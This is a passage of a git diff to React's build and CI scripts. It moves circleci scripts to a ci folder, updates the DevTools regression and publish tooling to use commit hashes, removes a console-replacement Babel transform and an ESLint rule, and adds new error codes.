+++ b/scripts/babel/transform-prevent-infinite-loops.js
@@ -13,7 +13,7 @@
 // This should be reasonable for all loops in the source.
 // Note that if the numbers are too large, the tests will take too long to fail
 // for this to be useful (each individual test case might hit an infinite loop).
-const MAX_SOURCE_ITERATIONS = 5000;
+const MAX_SOURCE_ITERATIONS = 6000;
 // Code in tests themselves is permitted to run longer.
 // For example, in the fuzz tester.
 const MAX_TEST_ITERATIONS = 5000;
diff --git a/scripts/babel/transform-react-version-pragma.js b/scripts/babel/transform-react-version-pragma.js
index 90c235ce480c..76036f1075eb 100644
--- a/scripts/babel/transform-react-version-pragma.js
+++ b/scripts/babel/transform-react-version-pragma.js
@@ -1,7 +1,5 @@
 'use strict';
 
-/* eslint-disable no-for-of-loops/no-for-of-loops */
-
 const getComments = require('./getComments');
 
 const GATE_VERSION_STR = '@reactVersion ';
diff --git a/scripts/babel/transform-replace-console-calls.js b/scripts/babel/transform-replace-console-calls.js
deleted file mode 100644
index 387f88a5f948..000000000000
--- a/scripts/babel/transform-replace-console-calls.js
+++ /dev/null
@@ -1,82 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-'use strict';
-
-const helperModuleImports = require('@babel/helper-module-imports');
-
-module.exports = function replaceConsoleCalls(babel) {
-  let consoleErrors = new WeakMap();
-  function getConsoleError(path, file) {
-    if (!consoleErrors.has(file)) {
-      consoleErrors.set(
-        file,
-        helperModuleImports.addNamed(
-          path,
-          'error',
-          'shared/consoleWithStackDev',
-          {nameHint: 'consoleError'}
-        )
-      );
-    }
-    return babel.types.cloneDeep(consoleErrors.get(file));
-  }
-
-  let consoleWarns = new WeakMap();
-  function getConsoleWarn(path, file) {
-    if (!consoleWarns.has(file)) {
-      consoleWarns.set(
-        file,
-        helperModuleImports.addNamed(
-          path,
-          'warn',
-          'shared/consoleWithStackDev',
-          {nameHint: 'consoleWarn'}
-        )
-      );
-    }
-    return babel.types.cloneDeep(consoleWarns.get(file));
-  }
-
-  return {
-    visitor: {
-      CallExpression: function (path, pass) {
-        if (path.node.callee.type !== 'MemberExpression') {
-          return;
-        }
-        if (path.node.callee.property.type !== 'Identifier') {
-          // Don't process calls like console['error'](...)
-          // because they serve as an escape hatch.
-          return;
-        }
-        if (path.get('callee').matchesPattern('console.error')) {
-          if (this.opts.shouldError) {
-            throw path.buildCodeFrameError(
-              "This module has no access to the React object, so it can't " +
-                'use console.error() with automatically appended stack. ' +
-                "As a workaround, you can use console['error'] which won't " +
-                'be transformed.'
-            );
-          }
-          const id = getConsoleError(path, pass.file);
-          path.node.callee = id;
-        }
-        if (path.get('callee').matchesPattern('console.warn')) {
-          if (this.opts.shouldError) {
-            throw path.buildCodeFrameError(
-              "This module has no access to the React object, so it can't " +
-                'use console.warn() with automatically appended stack. ' +
-                "As a workaround, you can use console['warn'] which won't " +
-                'be transformed.'
-            );
-          }
-          const id = getConsoleWarn(path, pass.file);
-          path.node.callee = id;
-        }
-      },
-    },
-  };
-};
diff --git a/scripts/circleci/check_license.sh b/scripts/ci/check_license.sh
similarity index 85%
rename from scripts/circleci/check_license.sh
rename to scripts/ci/check_license.sh
index 68b41d6ac441..697f390b096a 100755
--- a/scripts/circleci/check_license.sh
+++ b/scripts/ci/check_license.sh
@@ -3,7 +3,7 @@
 set -e
 
 # Make sure we don't introduce accidental references to PATENTS.
-EXPECTED='scripts/circleci/check_license.sh'
+EXPECTED='scripts/ci/check_license.sh'
 ACTUAL=$(git grep -l PATENTS)
 
 if [ "$EXPECTED" != "$ACTUAL" ]; then
diff --git a/scripts/circleci/download_devtools_regression_build.js b/scripts/ci/download_devtools_regression_build.js
similarity index 77%
rename from scripts/circleci/download_devtools_regression_build.js
rename to scripts/ci/download_devtools_regression_build.js
index 01ef377094cc..ed3c596a0efe 100755
--- a/scripts/circleci/download_devtools_regression_build.js
+++ b/scripts/ci/download_devtools_regression_build.js
@@ -9,7 +9,6 @@ const semver = require('semver');
 const yargs = require('yargs');
 const fs = require('fs');
 
-const INSTALL_PACKAGES = ['react-dom', 'react', 'react-test-renderer'];
 const REGRESSION_FOLDER = 'build-regression';
 
 const ROOT_PATH = join(__dirname, '..', '..');
@@ -23,6 +22,12 @@ const version = process.argv[2];
 const shouldReplaceBuild = !!argv.replaceBuild;
 
 async function downloadRegressionBuild() {
+  const reactVersion = semver.coerce(version).version;
+  const installPackages = ['react-dom', 'react', 'react-test-renderer'];
+  if (semver.gte(reactVersion, '16.3.0')) {
+    installPackages.push('react-is');
+  }
+
   console.log(chalk.bold.white(`Downloading React v${version}\n`));
 
   // Make build directory for temporary modules we're going to download
@@ -35,7 +40,7 @@ async function downloadRegressionBuild() {
   await exec(`mkdir ${regressionBuildPath}`);
 
   // Install all necessary React packages that have the same version
-  const downloadPackagesStr = INSTALL_PACKAGES.reduce(
+  const downloadPackagesStr = installPackages.reduce(
     (str, name) => `${str} ${name}@${version}`,
     ''
   );
@@ -51,7 +56,7 @@ async function downloadRegressionBuild() {
 
   // Remove all the packages that we downloaded in the original build folder
   // so we can move the modules from the regression build over
-  const removePackagesStr = INSTALL_PACKAGES.reduce(
+  const removePackagesStr = installPackages.reduce(
     (str, name) => `${str} ${join(buildPath, name)}`,
     ''
   );
@@ -63,12 +68,12 @@ async function downloadRegressionBuild() {
         .join(' ')}\n`
     )
   );
-  await exec(`rm -r ${removePackagesStr}`);
+  await exec(`rm -rf ${removePackagesStr}`);
 
   // Move all packages that we downloaded to the original build folder
   // We need to separately move the scheduler package because it might
   // be called schedule
-  const movePackageString = INSTALL_PACKAGES.reduce(
+  const movePackageString = installPackages.reduce(
     (str, name) => `${str} ${join(regressionBuildPath, 'node_modules', name)}`,
     ''
   );
@@ -80,13 +85,14 @@ async function downloadRegressionBuild() {
         .join(' ')} to ${chalk.underline.blue(buildPath)}\n`
     )
   );
+  fs.mkdirSync(buildPath, {recursive: true});
   await exec(`mv ${movePackageString} ${buildPath}`);
 
   // For React versions earlier than 18.0.0, we explicitly scheduler v0.20.1, which
   // is the first version that has unstable_mock, which DevTools tests need, but also
   // has Scheduler.unstable_trace, which, although we don't use in DevTools tests
   // is imported by older React versions and will break if it's not there
-  if (semver.lte(semver.coerce(version).version, '18.0.0')) {
+  if (semver.lte(reactVersion, '18.0.0')) {
     await exec(`npm install --prefix ${REGRESSION_FOLDER} scheduler@0.20.1`);
   }
 
@@ -99,7 +105,7 @@ async function downloadRegressionBuild() {
     );
   } else {
     console.log(chalk.white(`Downloading scheduler\n`));
-    await exec(`rm -r ${join(buildPath, 'scheduler')}`);
+    await exec(`rm -rf ${join(buildPath, 'scheduler')}`);
     await exec(
       `mv ${join(
         regressionBuildPath,
@@ -108,6 +114,22 @@ async function downloadRegressionBuild() {
       )} ${buildPath}`
     );
   }
+
+  if (semver.gte(reactVersion, '18.2.0') && semver.lt(reactVersion, '19.0.0')) {
+    console.log(chalk.white(`Downloading react-compiler-runtime\n`));
+    await exec(
+      `npm install --prefix ${REGRESSION_FOLDER} react-compiler-runtime`
+    );
+
+    console.log(
+      chalk.white(
+        `Moving react-compiler-runtime to react/compiler-runtime.js\n`
+      )
+    );
+    await exec(
+      `mv ${REGRESSION_FOLDER}/node_modules/react-compiler-runtime/dist/index.js ${buildPath}/react/compiler-runtime.js`
+    );
+  }
 }
 
 async function main() {
@@ -117,8 +139,6 @@ async function main() {
       return;
     }
     await downloadRegressionBuild();
-  } catch (e) {
-    console.log(chalk.red(e));
   } finally {
     // We shouldn't remove the regression-build folder unless we're using
     // it to replace the build folder
diff --git a/scripts/ci/pack_and_store_devtools_artifacts.sh b/scripts/ci/pack_and_store_devtools_artifacts.sh
new file mode 100755
index 000000000000..d427a303e5ad
--- /dev/null
+++ b/scripts/ci/pack_and_store_devtools_artifacts.sh
@@ -0,0 +1,30 @@
+#!/bin/bash
+
+set -e
+
+mkdir -p build/devtools
+
+cd packages/react-devtools
+npm pack
+mv ./react-devtools*.tgz ../../build/devtools/
+
+cd ../react-devtools-core
+npm pack
+mv ./react-devtools-core*.tgz ../../build/devtools/
+
+cd ../react-devtools-inline
+npm pack
+mv ./react-devtools-inline*.tgz ../../build/devtools/
+
+cd ../react-devtools-extensions
+if [[ -n "$1" ]]; then
+  yarn build:$1
+  mv ./$1/build/ReactDevTools.zip ../../build/devtools/$1-extension.zip
+  mv ./$1/build/webpack-stats.*.json ../../build/devtools/
+else
+  yarn build
+  for browser in chrome firefox edge; do
+    mv ./$browser/build/ReactDevTools.zip ../../build/devtools/$browser-extension.zip
+    mv ./$browser/build/webpack-stats.*.json ../../build/devtools/
+  done
+fi
diff --git a/scripts/circleci/run_devtools_e2e_tests.js b/scripts/ci/run_devtools_e2e_tests.js
similarity index 86%
rename from scripts/circleci/run_devtools_e2e_tests.js
rename to scripts/ci/run_devtools_e2e_tests.js
index ca28ba85b207..040af722ad9a 100755
--- a/scripts/circleci/run_devtools_e2e_tests.js
+++ b/scripts/ci/run_devtools_e2e_tests.js
@@ -9,7 +9,7 @@ const ROOT_PATH = join(__dirname, '..', '..');
 const reactVersion = process.argv[2];
 const inlinePackagePath = join(ROOT_PATH, 'packages', 'react-devtools-inline');
 const shellPackagePath = join(ROOT_PATH, 'packages', 'react-devtools-shell');
-const screenshotPath = join(ROOT_PATH, 'tmp', 'screenshots');
+const playwrightArtifactsPath = join(ROOT_PATH, 'tmp', 'playwright-artifacts');
 
 const {SUCCESSFUL_COMPILATION_MESSAGE} = require(
   join(shellPackagePath, 'constants.js')
@@ -55,7 +55,11 @@ function buildInlinePackage() {
     logDim(data);
   });
   buildProcess.stderr.on('data', data => {
-    if (`${data}`.includes('Warning')) {
+    if (
+      `${data}`.includes('Warning') ||
+      // E.g. [BABEL] Note: The code generator has deoptimised the styling of * as it exceeds the max of 500KB.
+      `${data}`.includes('[BABEL] Note')
+    ) {
       logDim(data);
     } else {
       logError(`Error:\n${data}`);
@@ -121,14 +125,22 @@ function runTestShell() {
 async function runEndToEndTests() {
   logBright('Running e2e tests');
   if (!reactVersion) {
-    testProcess = spawn('yarn', ['test:e2e', `--output=${screenshotPath}`], {
-      cwd: inlinePackagePath,
-    });
+    testProcess = spawn(
+      'yarn',
+      ['test:e2e', `--output=${playwrightArtifactsPath}`],
+      {
+        cwd: inlinePackagePath,
+      }
+    );
   } else {
-    testProcess = spawn('yarn', ['test:e2e', `--output=${screenshotPath}`], {
-      cwd: inlinePackagePath,
-      env: {...process.env, REACT_VERSION: reactVersion},
-    });
+    testProcess = spawn(
+      'yarn',
+      ['test:e2e', `--output=${playwrightArtifactsPath}`],
+      {
+        cwd: inlinePackagePath,
+        env: {...process.env, REACT_VERSION: reactVersion},
+      }
+    );
   }
 
   testProcess.stdout.on('data', data => {
diff --git a/scripts/circleci/test_print_warnings.sh b/scripts/ci/test_print_warnings.sh
similarity index 100%
rename from scripts/circleci/test_print_warnings.sh
rename to scripts/ci/test_print_warnings.sh
diff --git a/scripts/circleci/pack_and_store_devtools_artifacts.sh b/scripts/circleci/pack_and_store_devtools_artifacts.sh
deleted file mode 100755
index 664440fd834f..000000000000
--- a/scripts/circleci/pack_and_store_devtools_artifacts.sh
+++ /dev/null
@@ -1,26 +0,0 @@
-#!/bin/bash
-
-set -e
-
-mkdir -p build/devtools
-
-cd packages/react-devtools
-npm pack
-mv ./react-devtools*.tgz ../../build/devtools/
-
-cd ../react-devtools-core
-npm pack
-mv ./react-devtools-core*.tgz ../../build/devtools/
-
-cd ../react-devtools-inline
-npm pack
-mv ./react-devtools-inline*.tgz ../../build/devtools/
-
-cd ../react-devtools-extensions
-yarn build
-mv ./chrome/build/ReactDevTools.zip ../../build/devtools/chrome-extension.zip
-mv ./firefox/build/ReactDevTools.zip ../../build/devtools/firefox-extension.zip
-
-# Compress all DevTools artifacts into a single tarball for easy download
-cd ../../build/devtools
-tar -zcvf ../devtools.tgz .
\ No newline at end of file
diff --git a/scripts/devtools/build-and-test.js b/scripts/devtools/build-and-test.js
index 3c2f493ddd90..78275691aca9 100755
--- a/scripts/devtools/build-and-test.js
+++ b/scripts/devtools/build-and-test.js
@@ -50,13 +50,13 @@ async function main() {
   });
 
   const archivePath = await archiveGitRevision();
-  const buildID = await downloadLatestReactBuild();
+  const currentCommitHash = await downloadLatestReactBuild();
 
   await buildAndTestInlinePackage();
   await buildAndTestStandalonePackage();
   await buildAndTestExtensions();
 
-  saveBuildMetadata({archivePath, buildID});
+  saveBuildMetadata({archivePath, currentCommitHash});
 
   printFinalInstructions();
 }
@@ -197,12 +197,17 @@ async function downloadLatestReactBuild() {
 
   console.log('');
 
+  const currentCommitHash = (await exec('git rev-parse HEAD')).stdout.trim();
+  if (!currentCommitHash) {
+    throw new Error('Failed to get current commit hash');
+  }
+
   const {commit} = await inquirer.prompt([
     {
       type: 'input',
       name: 'commit',
       message: 'Which React version (commit) should be used?',
-      default: 'main',
+      default: currentCommitHash,
     },
   ]);
   console.log('');
@@ -215,24 +220,11 @@ async function downloadLatestReactBuild() {
     `"${downloadScriptPath}" --commit=${commit}`
   );
 
-  const output = await logger(
-    downloadPromise,
-    'Downloading React artifacts from CI.',
-    {estimate: 15000}
-  );
-
-  const match = output.match('--build=([0-9]+)');
-  if (match.length === 0) {
-    console.error(chalk.red(`No build ID found in "${output}"`));
-    process.exit(1);
-  }
-
-  const buildID = match[1];
-
-  console.log('');
-  console.log(`Downloaded artifacts for CI build ${chalk.bold(buildID)}.`);
+  await logger(downloadPromise, 'Downloading React artifacts from CI.', {
+    estimate: 15000,
+  });
 
-  return buildID;
+  return currentCommitHash;
 }
 
 function printFinalInstructions() {
diff --git a/scripts/devtools/publish-release.js b/scripts/devtools/publish-release.js
index 01ace5fc1bcc..6a2ab4f79d2e 100755
--- a/scripts/devtools/publish-release.js
+++ b/scripts/devtools/publish-release.js
@@ -29,16 +29,16 @@ async function main() {
     console.log(chalk.bold.green('  ' + pathToPrint));
   });
 
-  const {archivePath, buildID} = readSavedBuildMetadata();
+  const {archivePath, currentCommitHash} = readSavedBuildMetadata();
 
   await checkNPMPermissions();
 
   await publishToNPM();
 
-  await printFinalInstructions(buildID, archivePath);
+  await printFinalInstructions(currentCommitHash, archivePath);
 }
 
-async function printFinalInstructions(buildID, archivePath) {
+async function printFinalInstructions(currentCommitHash, archivePath) {
   console.log('');
   console.log(
     'You are now ready to publish the extension to Chrome, Edge, and Firefox:'
@@ -50,7 +50,7 @@ async function printFinalInstructions(buildID, archivePath) {
   );
   console.log('');
   console.log('When publishing to Firefox, remember the following:');
-  console.log(`  Build id: ${chalk.bold(buildID)}`);
+  console.log(`  Commit Hash: ${chalk.bold(currentCommitHash)}`);
   console.log(`  Git archive: ${chalk.bold(archivePath)}`);
   console.log('');
   console.log('Also consider syncing this release to Facebook:');
@@ -82,18 +82,13 @@ async function publishToNPM() {
     // If so we might be resuming from a previous run.
     // We could infer this by comparing the build-info.json,
     // But for now the easiest way is just to ask if this is expected.
-    const info = await execRead(`npm view ${npmPackage}@${version}`)
-      // Early versions of npm view gives empty response, but newer versions give 404 error.
-      // Catch the error to keep it consistent.
-      .catch(childProcessError => {
-        if (childProcessError.stderr.startsWith('npm ERR! code E404')) {
-          return null;
-        }
-
-        throw childProcessError;
-      });
+    const versionListJSON = await execRead(
+      `npm view ${npmPackage} versions --json`
+    );
+    const versionList = JSON.parse(versionListJSON);
+    const versionIsAlreadyPublished = versionList.includes(version);
 
-    if (info) {
+    if (versionIsAlreadyPublished) {
       console.log('');
       console.log(
         `${npmPackage} version ${chalk.bold(
diff --git a/scripts/devtools/utils.js b/scripts/devtools/utils.js
index 17d0c1f40eb3..06006500627e 100644
--- a/scripts/devtools/utils.js
+++ b/scripts/devtools/utils.js
@@ -101,19 +101,19 @@ function readSavedBuildMetadata() {
     process.exit(1);
   }
 
-  const {archivePath, buildID} = readJsonSync(path);
+  const {archivePath, currentCommitHash} = readJsonSync(path);
 
-  return {archivePath, buildID};
+  return {archivePath, currentCommitHash};
 }
 
-function saveBuildMetadata({archivePath, buildID}) {
+function saveBuildMetadata({archivePath, currentCommitHash}) {
   const path = join(BUILD_METADATA_TEMP_DIRECTORY, 'metadata');
 
   if (!existsSync(BUILD_METADATA_TEMP_DIRECTORY)) {
     mkdirSync(BUILD_METADATA_TEMP_DIRECTORY);
   }
 
-  writeJsonSync(path, {archivePath, buildID}, {spaces: 2});
+  writeJsonSync(path, {archivePath, currentCommitHash}, {spaces: 2});
 }
 
 module.exports = {
diff --git a/scripts/error-codes/__tests__/__snapshots__/transform-error-messages.js.snap b/scripts/error-codes/__tests__/__snapshots__/transform-error-messages.js.snap
index a531f008beba..95987c0cd157 100644
--- a/scripts/error-codes/__tests__/__snapshots__/transform-error-messages.js.snap
+++ b/scripts/error-codes/__tests__/__snapshots__/transform-error-messages.js.snap
@@ -1,12 +1,14 @@
 // Jest Snapshot v1, https://goo.gl/fbAQLP
 
 exports[`error transform handles deeply nested expressions 1`] = `
-"var val = (a, (b, // eslint-disable-next-line react-internal/prod-error-codes
+"var val = (a, (b,
+// eslint-disable-next-line react-internal/prod-error-codes
 new Error('foo')));"
 `;
 
 exports[`error transform handles deeply nested expressions 2`] = `
-"var val = (a, ( // eslint-disable-next-line react-internal/prod-error-codes
+"var val = (a, (
+// eslint-disable-next-line react-internal/prod-error-codes
 b, new Error('foo')));"
 `;
 
@@ -17,10 +19,11 @@ Error(_formatProdErrorMessage(231, listener, type));"
 
 exports[`error transform handles ignoring errors that are comment-excluded inside ternary expressions 1`] = `
 "/*! FIXME (minify-errors-in-prod): Unminified error message in production build!*/
-
 /*! <expected-error-format>"bar"</expected-error-format>*/
-var val = someBool ? //eslint-disable-next-line react-internal/prod-error-codes
-new Error('foo') : someOtherBool ? new Error('bar') : //eslint-disable-next-line react-internal/prod-error-codes
+var val = someBool ?
+//eslint-disable-next-line react-internal/prod-error-codes
+new Error('foo') : someOtherBool ? new Error('bar') :
+//eslint-disable-next-line react-internal/prod-error-codes
 new Error('baz');"
 `;
 
@@ -36,7 +39,6 @@ NotAnError();"
 
 exports[`error transform should output FIXME for errors that don't have a matching error code 1`] = `
 "/*! FIXME (minify-errors-in-prod): Unminified error message in production build!*/
-
 /*! <expected-error-format>"This is not a real error message."</expected-error-format>*/
 Error('This is not a real error message.');"
 `;
diff --git a/scripts/error-codes/__tests__/transform-error-messages.js b/scripts/error-codes/__tests__/transform-error-messages.js
index f822e3d492e2..c1058aede483 100644
--- a/scripts/error-codes/__tests__/transform-error-messages.js
+++ b/scripts/error-codes/__tests__/transform-error-messages.js
@@ -4,7 +4,7 @@
  * This source code is licensed under the MIT license found in the
  * LICENSE file in the root directory of this source tree.
  */
-/* eslint-disable quotes */
+
 'use strict';
 
 let babel = require('@babel/core');
diff --git a/scripts/error-codes/codes.json b/scripts/error-codes/codes.json
index ef4ae75a6d63..db92efc075ce 100644
--- a/scripts/error-codes/codes.json
+++ b/scripts/error-codes/codes.json
@@ -403,7 +403,7 @@
   "415": "Error parsing the data. It's probably an error code or network corruption.",
   "416": "This environment don't support binary chunks.",
   "417": "React currently only supports piping to one writable stream.",
-  "418": "Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n- A server/client branch `if (typeof window !== 'undefined')`.\n- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n- Date formatting in a user's locale which doesn't match the server.\n- External changing data without sending a snapshot of it along with the HTML.\n- Invalid HTML tag nesting.\n\nIt can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\nhttps://react.dev/link/hydration-mismatch%s",
+  "418": "Hydration failed because the server rendered %s didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n- A server/client branch `if (typeof window !== 'undefined')`.\n- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\n- Date formatting in a user's locale which doesn't match the server.\n- External changing data without sending a snapshot of it along with the HTML.\n- Invalid HTML tag nesting.\n\nIt can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\nhttps://react.dev/link/hydration-mismatch%s",
   "419": "The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.",
   "420": "ServerContext: %s already defined",
   "421": "This Suspense boundary received an update before it finished hydrating. This caused the boundary to switch to client rendering. The usual way to fix this is to wrap the original update in startTransition.",
@@ -445,7 +445,7 @@
   "457": "acquireHeadResource encountered a resource type it did not expect: \"%s\". This is a bug in React.",
   "458": "Currently React only supports one RSC renderer at a time.",
   "459": "Expected a suspended thenable. This is a bug in React. Please file an issue.",
-  "460": "Suspense Exception: This is not a real error! It's an implementation detail of `use` to interrupt the current render. You must either rethrow it immediately, or move the `use` call outside of the `try/catch` block. Capturing without rethrowing will lead to unexpected behavior.\n\nTo handle async errors, wrap your component in an error boundary, or call the promise's `.catch` method and pass the result to `use`",
+  "460": "Suspense Exception: This is not a real error! It's an implementation detail of `use` to interrupt the current render. You must either rethrow it immediately, or move the `use` call outside of the `try/catch` block. Capturing without rethrowing will lead to unexpected behavior.\n\nTo handle async errors, wrap your component in an error boundary, or call the promise's `.catch` method and pass the result to `use`.",
   "461": "This is not a real error. It's an implementation detail of React's selective hydration feature. If this leaks into userspace, it's a bug in React. Please file an issue.",
   "462": "Unexpected SuspendedReason. This is a bug in React.",
   "463": "ReactDOMServer.renderToNodeStream(): The Node Stream API is not available in Bun. Use ReactDOMServer.renderToReadableStream() instead.",
@@ -467,10 +467,10 @@
   "479": "Cannot update optimistic state while rendering.",
   "480": "File/Blob fields are not yet supported in progressive forms. Will fallback to client hydration.",
   "481": "Tried to encode a Server Action from a different instance than the encoder is from. This is a bug in React.",
-  "482": "async/await is not yet supported in Client Components, only Server Components. This error is often caused by accidentally adding `'use client'` to a module that was originally written for the server.",
+  "482": "An unknown Component is an async Client Component. Only Server Components can be async at the moment. This error is often caused by accidentally adding `'use client'` to a module that was originally written for the server.",
   "483": "Hooks are not supported inside an async component. This error is often caused by accidentally adding `'use client'` to a module that was originally written for the server.",
   "484": "A Server Component was postponed. The reason is omitted in production builds to avoid leaking sensitive details.",
-  "485": "Cannot update form state while rendering.",
+  "485": "Cannot update action state while rendering.",
   "486": "It should not be possible to postpone at the root. This is a bug in React.",
   "487": "We should not have any resumable nodes in the shell. This is a bug in React.",
   "488": "Couldn't find all resumable slots by key/index during replaying. The tree doesn't match so React will fallback to client rendering.",
@@ -483,8 +483,8 @@
   "495": "Cannot taint a %s because the value is too general and not unique enough to block globally.",
   "496": "Only objects or functions can be passed to taintObjectReference. Try taintUniqueValue instead.",
   "497": "Only objects or functions can be passed to taintObjectReference.",
-  "498": "Only plain objects, and a few built-ins, can be passed to Client Components from Server Components. Classes or null prototypes are not supported.",
-  "499": "Only plain objects, and a few built-ins, can be passed to Server Actions. Classes or null prototypes are not supported.",
+  "498": "Only plain objects, and a few built-ins, can be passed to Client Components from Server Components. Classes or null prototypes are not supported.%s",
+  "499": "Only plain objects, and a few built-ins, can be passed to Server Functions. Classes or null prototypes are not supported.%s",
   "500": "React expected a headers state to exist when emitEarlyPreloads was called but did not find it. This suggests emitEarlyPreloads was called more than once per request. This is a bug in React.",
   "501": "The render was aborted with postpone when the shell is incomplete. Reason: %s",
   "502": "Cannot read a Client Context from a Server Component.",
@@ -515,5 +515,58 @@
   "527": "Incompatible React versions: The \"react\" and \"react-dom\" packages must have the exact same version. Instead got:\n  - react:      %s\n  - react-dom:  %s\nLearn more: https://react.dev/warnings/version-mismatch",
   "528": "Expected <link> not to update to be updated to a stylesheet with precedence. Check the `rel`, `href`, and `precedence` props of this component. Alternatively, check whether two different <link> components render in the same slot or share the same key.%s",
   "529": "Expected stylesheet with precedence to not be updated to a different kind of <link>. Check the `rel`, `href`, and `precedence` props of this component. Alternatively, check whether two different <link> components render in the same slot or share the same key.%s",
-  "530": "The render was aborted by the server with a promise."
+  "530": "The render was aborted by the server with a promise.",
+  "531": "react-markup is not supported outside a React Server Components environment.",
+  "532": "Attempted to render a Client Component from renderToHTML. This is not supported since it will never hydrate. Only render Server Components with renderToHTML.",
+  "533": "Attempted to render a Server Action from renderToHTML. This is not supported since it varies by version of the app. Use a fixed URL for any forms instead.",
+  "534": "renderToHTML should not have emitted Client References. This is a bug in React.",
+  "535": "renderToHTML should not have emitted Server References. This is a bug in React.",
+  "536": "Cannot pass ref in renderToHTML because they will never be hydrated.",
+  "537": "Cannot pass event handlers (%s) in renderToHTML because the HTML will never be hydrated so they can never get called.",
+  "538": "Cannot use state or effect Hooks in renderToHTML because this component will never be hydrated.",
+  "539": "Binary RSC chunks cannot be encoded as strings. This is a bug in the wiring of the React streams.",
+  "540": "String chunks need to be passed in their original shape. Not split into smaller string chunks. This is a bug in the wiring of the React streams.",
+  "541": "Compared context values must be arrays",
+  "542": "Suspense Exception: This is not a real error! It's an implementation detail of `useActionState` to interrupt the current render. You must either rethrow it immediately, or move the `useActionState` call outside of the `try/catch` block. Capturing without rethrowing will lead to unexpected behavior.\n\nTo handle async errors, wrap your component in an error boundary.",
+  "543": "Expected a ResourceEffectUpdate to be pushed together with ResourceEffectIdentity. This is a bug in React.",
+  "544": "Found a pair with an auto name. This is a bug in React.",
+  "545": "The %s tag may only be rendered once.",
+  "546": "useEffect CRUD overload is not enabled in this build of React.",
+  "547": "startGesture cannot be called during server rendering.",
+  "548": "Finished rendering the gesture lane but there were no pending gestures. React should not have started a render in this case. This is a bug in React.",
+  "549": "Cannot start a gesture with a disconnected AnimationTimeline.",
+  "550": "startGestureTransition is not yet supported in react-art.",
+  "551": "startGestureTransition is not yet supported in React Native.",
+  "552": "Cannot use a startGestureTransition() on a detached root.",
+  "553": "A Timeline is required as the first argument to startGestureTransition.",
+  "554": "Cannot setState on regular state inside a startGestureTransition. Gestures can only update the useOptimistic() hook. There should be no side-effects associated with starting a Gesture until its Action is invoked. Move side-effects to the Action instead.",
+  "555": "Cannot requestFormReset() inside a startGestureTransition. There should be no side-effects associated with starting a Gesture until its Action is invoked. Move side-effects to the Action instead.",
+  "556": "Expected prepareToHydrateHostActivityInstance() to never be called. This error is likely caused by a bug in React. Please file an issue.",
+  "557": "Expected to have a hydrated activity instance. This error is likely caused by a bug in React. Please file an issue.",
+  "558": "Client rendering an Activity suspended it again. This is a bug in React.",
+  "559": "Expected to find a host node. This is a bug in React.",
+  "560": "Cannot use a startGestureTransition() with a comment node root.",
+  "561": "This rendered a large document (>%s kB) without any Suspense boundaries around most of it. That can delay initial paint longer than necessary. To improve load performance, add a <Suspense> or <SuspenseList> around the content you expect to be below the header or below the fold. In the meantime, the content will deopt to paint arbitrary incomplete pieces of HTML.",
+  "562": "The render was aborted due to a fatal error.",
+  "563": "This render completed successfully. All cacheSignals are now aborted to allow clean up of any unused resources.",
+  "564": "Unknown command. The debugChannel was not wired up properly.",
+  "565": "resolveDebugMessage/closeDebugChannel should not be called for a Request that wasn't kept alive. This is a bug in React.",
+  "566": "FragmentInstance.scrollIntoView() does not support scrollIntoViewOptions. Use the alignToTop boolean instead.",
+  "567": "Already initialized stream.",
+  "568": "Already initialized typed array.",
+  "569": "Cannot have cyclic thenables.",
+  "570": "Invalid reference.",
+  "571": "Maximum array nesting exceeded. Large nested arrays can be dangerous. Try adding intermediate objects.",
+  "572": "Already initialized Map.",
+  "573": "Already initialized Set.",
+  "574": "Invalid forward reference.",
+  "575": "Invalid Map initializer.",
+  "576": "Invalid Set initializer.",
+  "577": "Invalid Iterator initializer.",
+  "578": "Already initialized Iterator.",
+  "579": "Invalid data for bytes stream.",
+  "580": "Server Function has too many bound arguments. Received %s but the limit is %s.",
+  "581": "BigInt is too large. Received %s digits but the limit is %s.",
+  "582": "Referenced Blob is not a Blob.",
+  "583": "The current renderer does not support view transitions. This error is likely caused by a bug in React. Please file an issue."
 }
diff --git a/scripts/eslint-rules/__tests__/no-to-warn-dev-within-to-throw-test.internal.js b/scripts/eslint-rules/__tests__/no-to-warn-dev-within-to-throw-test.internal.js
deleted file mode 100644
index b3c0d114cc7c..000000000000
--- a/scripts/eslint-rules/__tests__/no-to-warn-dev-within-to-throw-test.internal.js
+++ /dev/null
@@ -1,31 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @emails react-core
- */
-
-'use strict';
-
-const rule = require('../no-to-warn-dev-within-to-throw');
-const {RuleTester} = require('eslint');
-const ruleTester = new RuleTester();
-
-ruleTester.run('eslint-rules/no-to-warn-dev-within-to-throw', rule, {
-  valid: [
-    'expect(callback).toWarnDev("warning");',
-    'expect(function() { expect(callback).toThrow("error") }).toWarnDev("warning");',
-  ],
-  invalid: [
-    {
-      code: 'expect(function() { expect(callback).toWarnDev("warning") }).toThrow("error");',
-      errors: [
-        {
-          message: 'toWarnDev() matcher should not be nested',
-        },
-      ],
-    },
-  ],
-});
diff --git a/scripts/eslint-rules/index.js b/scripts/eslint-rules/index.js
index f66c49a80e40..23af2e471a01 100644
--- a/scripts/eslint-rules/index.js
+++ b/scripts/eslint-rules/index.js
@@ -3,7 +3,6 @@
 module.exports = {
   rules: {
     'no-primitive-constructors': require('./no-primitive-constructors'),
-    'no-to-warn-dev-within-to-throw': require('./no-to-warn-dev-within-to-throw'),
     'warning-args': require('./warning-args'),
     'prod-error-codes': require('./prod-error-codes'),
     'no-production-logging': require('./no-production-logging'),
diff --git a/scripts/eslint-rules/no-to-warn-dev-within-to-throw.js b/scripts/eslint-rules/no-to-warn-dev-within-to-throw.js
deleted file mode 100644
index 3b22b34fd696..000000000000
--- a/scripts/eslint-rules/no-to-warn-dev-within-to-throw.js
+++ /dev/null
@@ -1,41 +0,0 @@
-/**
